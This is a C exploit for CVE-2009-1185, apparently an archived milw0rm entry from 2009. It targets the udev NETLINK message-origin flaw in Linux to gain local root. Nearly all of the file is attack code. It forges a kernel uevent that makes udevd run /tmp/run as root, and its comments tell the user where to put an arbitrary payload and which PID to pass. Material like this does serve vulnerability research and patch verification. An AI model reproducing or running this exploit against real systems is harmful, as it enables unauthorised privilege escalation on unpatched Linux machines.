Linux Kernel 2.6 UDEV < 141 Local Privilege Escalation Exploit

/*
* cve-2009-1185.c
*
* udev < 141 Local Privilege Escalation Exploit
* Jon Oberheide <jon@oberheide.org>
* http://jon.oberheide.org
*
* Information:
*
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1185
*
* udev before 1.4.1 does not verify whether a NETLINK message originates
* from kernel space, which allows local users to gain privileges by sending
* a NETLINK message from user space.

*
* Notes:
*
* An alternate version of kcope’s exploit. This exploit leverages the
* 95-udev-late.rules functionality that is meant to run arbitrary commands
* when a device is removed. A bit cleaner and reliable as long as your
* distro ships that rule file. The exploit will execute /tmp/run as root
* so throw whatever payload you want in there.
*
* Pass the PID of the udevd netlink socket (listed in /proc/net/netlink,
* usually is the udevd PID minus 1) as argv[1].
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/types.h>
#include <linux/netlink.h>

#ifndef NETLINK_KOBJECT_UEVENT
#define NETLINK_KOBJECT_UEVENT 15
#endif

int
main(int argc, char **argv)
{
	int sock;
	char *mp;
	char message[4096];
	struct msghdr msg;
	struct iovec iovector;
	struct sockaddr_nl address;

	memset(&address, 0, sizeof(address));
	address.nl_family = AF_NETLINK;
	address.nl_pid = atoi(argv[1]);
	address.nl_groups = 0;

	msg.msg_name = (void*)&address;
	msg.msg_namelen = sizeof(address);
	msg.msg_iov = &iovector;
	msg.msg_iovlen = 1;

	sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
	bind(sock, (struct sockaddr *) &address, sizeof(address));

	mp = message;
	mp += sprintf(mp, "a@/d") + 1;
	mp += sprintf(mp, "SUBSYSTEM=block") + 1;
	mp += sprintf(mp, "DEVPATH=/dev/foo") + 1;
	mp += sprintf(mp, "TIMEOUT=10") + 1;
	mp += sprintf(mp, "ACTION=remove") +1;
	mp += sprintf(mp, "REMOVE_CMD=/tmp/run") +1;

	iovector.iov_base = (void*)message;
	iovector.iov_len = (int)(mp-message);

	sendmsg(sock, &msg, 0);

	close(sock);

	return 0;
}

// milw0rm.com [2009-04-30]

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